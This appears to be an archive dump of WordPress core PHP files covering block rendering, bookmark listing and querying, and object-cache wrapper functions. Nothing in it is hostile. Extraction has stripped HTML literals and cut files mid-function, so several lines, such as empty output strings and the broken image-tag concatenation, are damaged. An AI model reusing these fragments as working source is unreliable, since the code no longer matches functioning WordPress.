blocks. */ $allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks ); $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { if ( in_array( $block['blockName'], $allowed_blocks, true ) ) { if ( ! empty( $block['innerBlocks'] ) ) { if ( 'core/columns' === $block['blockName'] ) { $output .= _excerpt_render_inner_columns_blocks( $block, $allowed_inner_blocks ); continue; } // Skip the block if it has disallowed or nested inner blocks. foreach ( $block['innerBlocks'] as $inner_block ) { if ( ! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) || ! empty( $inner_block['innerBlocks'] ) ) { continue 2; } } } $output .= render_block( $block ); } } return $output; } /** * Render inner blocks from the `core/columns` block for generating an excerpt. * * @since 5.2.0 * @access private * * @param array $columns The parsed columns block. * @param array $allowed_blocks The list of allowed inner blocks. * @return string The rendered inner blocks. */ function _excerpt_render_inner_columns_blocks( $columns, $allowed_blocks ) { $output = ''; foreach ( $columns['innerBlocks'] as $column ) { foreach ( $column['innerBlocks'] as $inner_block ) { if ( in_array( $inner_block['blockName'], $allowed_blocks, true ) && empty( $inner_block['innerBlocks'] ) ) { $output .= render_block( $inner_block ); } } } return $output; } /** * Renders a single block into a HTML string. * * @since 5.0.0 * * @global WP_Post $post The post to edit. * @global WP_Query $wp_query WordPress Query object. * * @param array $parsed_block A single parsed block object. * @return string String of rendered HTML. */ function render_block( $parsed_block ) { global $post, $wp_query; /** * Allows render_block() to be short-circuited, by returning a non-null value. * * @since 5.1.0 * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $parsed_block The block being rendered. */ $pre_render = apply_filters( 'pre_render_block', null, $parsed_block ); if ( ! is_null( $pre_render ) ) { return $pre_render; } $source_block = $parsed_block; /** * Filters the block being rendered in render_block(), before it's processed. * * @since 5.1.0 * * @param array $parsed_block The block being rendered. * @param array $source_block An un-modified copy of $parsed_block, as it appeared in the source content. */ $parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block ); $context = array(); if ( $post instanceof WP_Post ) { $context['postId'] = $post->ID; /* * The `postType` context is largely unnecessary server-side, since the ID * is usually sufficient on its own. That being said, since a block's * manifest is expected to be shared between the server and the client, * it should be included to consistently fulfill the expectation. */ $context['postType'] = $post->post_type; } if ( $wp_query instanceof WP_Query && isset( $wp_query->tax_query->queried_terms['category'] ) ) { $context['query'] = array( 'categoryIds' => array() ); foreach ( $wp_query->tax_query->queried_terms['category']['terms'] as $category_slug_or_id ) { $context['query']['categoryIds'][] = 'slug' === $wp_query->tax_query->queried_terms['category']['field'] ? get_cat_ID( $category_slug_or_id ) : $category_slug_or_id; } } /** * Filters the default context provided to a rendered block. * * @since 5.5.0 * * @param array $context Default context. * @param array $parsed_block Block being rendered, filtered by `render_block_data`. */ $context = apply_filters( 'render_block_context', $context, $parsed_block ); $block = new WP_Block( $parsed_block, $context ); return $block->render(); } /** * Parses blocks out of a content string. * * @since 5.0.0 * * @param string $content Post content. * @return array[] Array of parsed block objects. */ function parse_blocks( $content ) { /** * Filter to allow plugins to replace the server-side block parser * * @since 5.0.0 * * @param string $parser_class Name of block parser class. */ $parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' ); $parser = new $parser_class(); return $parser->parse( $content ); } /** * Parses dynamic blocks out of `post_content` and re-renders them. * * @since 5.0.0 * * @param string $content Post content. * @return string Updated post content. */ function do_blocks( $content ) { $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { $output .= render_block( $block ); } // If there are blocks in this content, we shouldn't run wpautop() on it later. $priority = has_filter( 'the_content', 'wpautop' ); if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) { remove_filter( 'the_content', 'wpautop', $priority ); add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 ); } return $output; } /** * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards, * for subsequent `the_content` usage. * * @access private * * @since 5.0.0 * * @param string $content The post content running through this filter. * @return string The unmodified content. */ function _restore_wpautop_hook( $content ) { $current_priority = has_filter( 'the_content', '_restore_wpautop_hook' ); add_filter( 'the_content', 'wpautop', $current_priority - 1 ); remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority ); return $content; } /** * Returns the current version of the block format that the content string is using. * * If the string doesn't contain blocks, it returns 0. * * @since 5.0.0 * * @param string $content Content to test. * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise. */ function block_version( $content ) { return has_blocks( $content ) ? 1 : 0; } /** * Registers a new block style. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param array $style_properties Array containing the properties of the style name, * label, style (name of the stylesheet to be enqueued), * inline_style (string containing the CSS to be added). * @return bool True if the block style was registered with success and false otherwise. */ function register_block_style( $block_name, $style_properties ) { return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties ); } /** * Unregisters a block style. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param array $block_style_name Block style name. * @return bool True if the block style was unregistered with success and false otherwise. */ function unregister_block_style( $block_name, $block_style_name ) { return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name ); } bookmark-template.php000064400000030655151202620300010673 0ustar00`. * @type string $after The HTML or text to append to each bookmark. Default ``. * @type string $link_before The HTML or text to prepend to each bookmark inside the anchor * tags. Default empty. * @type string $link_after The HTML or text to append to each bookmark inside the anchor * tags. Default empty. * @type string $between The string for use in between the link, description, and image. * Default "\n". * @type int|bool $show_rating Whether to show the link rating. Accepts 1|true or 0|false. * Default 0|false. * * } * @return string Formatted output in HTML */ function _walk_bookmarks( $bookmarks, $args = '' ) { $defaults = array( 'show_updated' => 0, 'show_description' => 0, 'show_images' => 1, 'show_name' => 0, 'before' => '
  • ', 'after' => '
  • ', 'between' => "\n", 'show_rating' => 0, 'link_before' => '', 'link_after' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $output = ''; // Blank string to start with. foreach ( (array) $bookmarks as $bookmark ) { if ( ! isset( $bookmark->recently_updated ) ) { $bookmark->recently_updated = false; } $output .= $parsed_args['before']; if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } $the_link = '#'; if ( ! empty( $bookmark->link_url ) ) { $the_link = esc_url( $bookmark->link_url ); } $desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) ); $name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) ); $title = $desc; if ( $parsed_args['show_updated'] ) { if ( '00' !== substr( $bookmark->link_updated_f, 0, 2 ) ) { $title .= ' ('; $title .= sprintf( /* translators: %s: Date and time of last update. */ __( 'Last updated: %s' ), gmdate( get_option( 'links_updated_date_format' ), $bookmark->link_updated_f + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) ); $title .= ')'; } } $alt = ' alt="' . $name . ( $parsed_args['show_description'] ? ' ' . $title : '' ) . '"'; if ( '' !== $title ) { $title = ' title="' . $title . '"'; } $rel = $bookmark->link_rel; if ( '' !== $rel ) { $rel = ' rel="' . esc_attr( $rel ) . '"'; } $target = $bookmark->link_target; if ( '' !== $target ) { $target = ' target="' . $target . '"'; } $output .= ''; $output .= $parsed_args['link_before']; if ( null != $bookmark->link_image && $parsed_args['show_images'] ) { if ( strpos( $bookmark->link_image, 'http' ) === 0 ) { $output .= "link_image\" $alt $title />"; } else { // If it's a relative path. $output .= 'link_image\" $alt $title />"; } if ( $parsed_args['show_name'] ) { $output .= " $name"; } } else { $output .= $name; } $output .= $parsed_args['link_after']; $output .= ''; if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } if ( $parsed_args['show_description'] && '' !== $desc ) { $output .= $parsed_args['between'] . $desc; } if ( $parsed_args['show_rating'] ) { $output .= $parsed_args['between'] . sanitize_bookmark_field( 'link_rating', $bookmark->link_rating, $bookmark->link_id, 'display' ); } $output .= $parsed_args['after'] . "\n"; } // End while. return $output; } /** * Retrieve or echo all of the bookmarks. * * List of default arguments are as follows: * * These options define how the Category name will appear before the category * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will * display for only the 'title_li' string and only if 'title_li' is not empty. * * @since 2.1.0 * * @see _walk_bookmarks() * * @param string|array $args { * Optional. String or array of arguments to list bookmarks. * * @type string $orderby How to order the links by. Accepts post fields. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts 1+ or -1 for all. * Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type int|bool $echo Whether to echo or return the formatted bookmarks. Accepts * 1|true (echo) or 0|false (return). Default 1|true. * @type int|bool $categorize Whether to show links listed by category or in a single column. * Accepts 1|true (by category) or 0|false (one column). Default 1|true. * @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false. * Default 0|false. * @type string $title_li What to show before the links appear. Default 'Bookmarks'. * @type string $title_before The HTML or text to prepend to the $title_li string. Default '

    '. * @type string $title_after The HTML or text to append to the $title_li string. Default '

    '. * @type string|array $class The CSS class or an array of classes to use for the $title_li. * Default 'linkcat'. * @type string $category_before The HTML or text to prepend to $title_before if $categorize is true. * String must contain '%id' and '%class' to inherit the category ID and * the $class argument used for formatting in themes. * Default '
  • '. * @type string $category_after The HTML or text to append to $title_after if $categorize is true. * Default '
  • '. * @type string $category_orderby How to order the bookmark category based on term scheme if $categorize * is true. Default 'name'. * @type string $category_order Whether to order categories in ascending or descending order if * $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * } * @return void|string Void if 'echo' argument is true, HTML list of bookmarks if 'echo' is false. */ function wp_list_bookmarks( $args = '' ) { $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'exclude_category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'echo' => 1, 'categorize' => 1, 'title_li' => __( 'Bookmarks' ), 'title_before' => '

    ', 'title_after' => '

    ', 'category_orderby' => 'name', 'category_order' => 'ASC', 'class' => 'linkcat', 'category_before' => '
  • ', 'category_after' => '
  • ', ); $parsed_args = wp_parse_args( $args, $defaults ); $output = ''; if ( ! is_array( $parsed_args['class'] ) ) { $parsed_args['class'] = explode( ' ', $parsed_args['class'] ); } $parsed_args['class'] = array_map( 'sanitize_html_class', $parsed_args['class'] ); $parsed_args['class'] = trim( implode( ' ', $parsed_args['class'] ) ); if ( $parsed_args['categorize'] ) { $cats = get_terms( array( 'taxonomy' => 'link_category', 'name__like' => $parsed_args['category_name'], 'include' => $parsed_args['category'], 'exclude' => $parsed_args['exclude_category'], 'orderby' => $parsed_args['category_orderby'], 'order' => $parsed_args['category_order'], 'hierarchical' => 0, ) ); if ( empty( $cats ) ) { $parsed_args['categorize'] = false; } } if ( $parsed_args['categorize'] ) { // Split the bookmarks into ul's for each category. foreach ( (array) $cats as $cat ) { $params = array_merge( $parsed_args, array( 'category' => $cat->term_id ) ); $bookmarks = get_bookmarks( $params ); if ( empty( $bookmarks ) ) { continue; } $output .= str_replace( array( '%id', '%class' ), array( "linkcat-$cat->term_id", $parsed_args['class'] ), $parsed_args['category_before'] ); /** * Filters the category name. * * @since 2.2.0 * * @param string $cat_name The category name. */ $catname = apply_filters( 'link_category', $cat->name ); $output .= $parsed_args['title_before']; $output .= $catname; $output .= $parsed_args['title_after']; $output .= "\n\t
      \n"; $output .= _walk_bookmarks( $bookmarks, $parsed_args ); $output .= "\n\t
    \n"; $output .= $parsed_args['category_after'] . "\n"; } } else { // Output one single list using title_li for the title. $bookmarks = get_bookmarks( $parsed_args ); if ( ! empty( $bookmarks ) ) { if ( ! empty( $parsed_args['title_li'] ) ) { $output .= str_replace( array( '%id', '%class' ), array( 'linkcat-' . $parsed_args['category'], $parsed_args['class'] ), $parsed_args['category_before'] ); $output .= $parsed_args['title_before']; $output .= $parsed_args['title_li']; $output .= $parsed_args['title_after']; $output .= "\n\t
      \n"; $output .= _walk_bookmarks( $bookmarks, $parsed_args ); $output .= "\n\t
    \n"; $output .= $parsed_args['category_after'] . "\n"; } else { $output .= _walk_bookmarks( $bookmarks, $parsed_args ); } } } /** * Filters the bookmarks list before it is echoed or returned. * * @since 2.5.0 * * @param string $html The HTML list of bookmarks. */ $html = apply_filters( 'wp_list_bookmarks', $output ); if ( $parsed_args['echo'] ) { echo $html; } else { return $html; } } bookmark.php000064400000035433151202620300007061 0ustar00link_id, $bookmark, 'bookmark' ); $_bookmark = $bookmark; } else { if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id == $bookmark ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = wp_cache_get( $bookmark, 'bookmark' ); if ( ! $_bookmark ) { $_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) ); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } } if ( ! $_bookmark ) { return $_bookmark; } $_bookmark = sanitize_bookmark( $_bookmark, $filter ); if ( OBJECT == $output ) { return $_bookmark; } elseif ( ARRAY_A == $output ) { return get_object_vars( $_bookmark ); } elseif ( ARRAY_N == $output ) { return array_values( get_object_vars( $_bookmark ) ); } else { return $_bookmark; } } /** * Retrieve single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. * @return string|WP_Error */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error( $bookmark ) ) { return $bookmark; } if ( ! is_object( $bookmark ) ) { return ''; } if ( ! isset( $bookmark->$field ) ) { return ''; } return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context ); } /** * Retrieves the list of bookmarks * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. */ function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $key = md5( serialize( $parsed_args ) ); $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ); if ( 'rand' !== $parsed_args['orderby'] && $cache ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. */ return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $parsed_args['exclude'] = ''; // Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list( $parsed_args['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if ( ! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $parsed_args['exclude'] ) ) { $exlinks = wp_parse_id_list( $parsed_args['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $parsed_args['category_name'] ) ) { $parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' ); if ( $parsed_args['category'] ) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', array(), $parsed_args ); } } $search = ''; if ( ! empty( $parsed_args['search'] ) ) { $like = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%'; $search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $parsed_args['category'] ) ) { $incategories = wp_parse_id_list( $parsed_args['category'] ); if ( count( $incategories ) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $parsed_args['show_updated'] ) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $parsed_args['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys, true ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys, true ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $parsed_args['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) { $order = 'ASC'; } $visible = ''; if ( $parsed_args['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( -1 != $parsed_args['limit'] ) { $query .= ' LIMIT ' . $parsed_args['limit']; } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', $results, $parsed_args ); } /** * Sanitizes all bookmark fields. * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark( $bookmark, $context = 'display' ) { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object( $bookmark ) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset( $bookmark->$field ) ) { $bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context ); } } else { if ( isset( $bookmark[ $field ] ) ) { $bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context ); } } } return $bookmark; } /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'attribute', * 'js', 'db', or 'display' * @return mixed The filtered value. */ function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { switch ( $field ) { case 'link_id': // ints case 'link_rating': $value = (int) $value; break; case 'link_category': // array( ints ) $value = array_map( 'absint', (array) $value ); // We return here so that the categories aren't filtered. // The 'link_category' filter is for the name of a link category, not an array of a link's link categories. return $value; case 'link_visible': // bool stored as Y|N $value = preg_replace( '/[^YNyn]/', '', $value ); break; case 'link_target': // "enum" $targets = array( '_top', '_blank' ); if ( ! in_array( $value, $targets, true ) ) { $value = ''; } break; } if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "edit_{$field}", $value, $bookmark_id ); if ( 'link_notes' === $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "pre_{$field}", $value ); } else { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "{$field}", $value, $bookmark_id, $context ); if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } return $value; } /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link' ); } cache-compat.php000064400000002026151202620300007570 0ustar00add( $key, $data, $group, (int) $expire ); } /** * Closes the cache. * * This function has ceased to do anything since WordPress 2.5. The * functionality was removed along with the rest of the persistent cache. * * This does not mean that plugins can't implement this function when they need * to make sure that the cache is cleaned up after WordPress no longer needs it. * * @since 2.0.0 * * @return true Always returns true. */ function wp_cache_close() { return true; } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @see WP_Object_Cache::decr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_decr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->decr( $key, $offset, $group ); } /** * Removes the cache contents matching key and group. * * @since 2.0.0 * * @see WP_Object_Cache::delete() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function wp_cache_delete( $key, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete( $key, $group ); } /** * Removes all cache items. * * @since 2.0.0 * * @see WP_Object_Cache::flush() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @return bool True on success, false on failure. */ function wp_cache_flush() { global $wp_object_cache; return $wp_object_cache->flush(); } /** * Retrieves the cache contents from the cache by key and group. * * @since 2.0.0 * * @see WP_Object_Cache::get() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ function wp_cache_get( $key, $group = '', $force = false, &$found = null ) { global $wp_object_cache; return $wp_object_cache->get( $key, $group, $force, $found ); } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @see WP_Object_Cache::get_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of values organized into groups. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { global $wp_object_cache; return $wp_object_cache->get_multiple( $keys, $group, $force ); } /** * Increment numeric cache item's value * * @since 3.3.0 * * @see WP_Object_Cache::incr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache contents that should be incremented. * @param int $offset Optional. The amount by which to increment the item's value. Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_incr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->incr( $key, $offset, $group ); } /** * Sets up Object Cache Global and assigns it. * * @since 2.0.0 * * @global WP_Object_Cache $wp_object_cache */ function wp_cache_init() { $GLOBALS['wp_object_cache'] = new WP_Object_Cache(); } /** * Replaces the contents of the cache with new data. * * @since 2.0.0 * * @see WP_Object_Cache::replace() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache data that should be replaced. * @param mixed $data The new data to store in the cache. * @param string $group Optional. The group for the cache data that should be replaced. * Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool False if original value does not exist, true if contents were replaced */ function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->replace( $key, $data, $group, (int) $expire ); } /** * Saves the data to the cache. * * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data. * * @since 2.0.0 * * @see WP_Object_Cache::set() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false on failure. */ function wp_cache_set( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set( $key, $data, $group, (int) $expire ); } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 3.5.0 * * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ function wp_cache_switch_to_blog( $blog_id ) { global $wp_object_cache; $wp_object_cache->switch_to_blog( $blog_id ); } /** * Adds a group or set of groups to the list of global groups. * * @since 2.6.0 * * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_global_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_global_groups( $groups ); } /** * Adds a group or set of groups to the list of non-persistent groups. * * @since 2.6.0 * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_non_persistent_groups( $groups ) { // Default cache doesn't persist so nothing to do here. } /** * Reset internal cache keys and structures. * * If the cache back end uses global blog or site IDs as part of its cache keys, * this function instructs the back end to reset those keys and perform any cleanup * since blog or site IDs have changed since cache init. * * This function is deprecated. Use wp_cache_switch_to_blog() instead of this * function when preparing the cache for a blog switch. For clearing the cache * during unit tests, consider using wp_cache_init(). wp_cache_init() is not * recommended outside of unit tests as the performance penalty for using it is * high. * * @since 2.6.0 * @deprecated 3.5.0 WP_Object_Cache::reset() * @see WP_Object_Cache::reset() * * @global WP_Object_Cache $wp_object_cache Object cache global instance. */ function wp_cache_reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::reset()' ); global $wp_object_cache; $wp_object_cache->reset(); 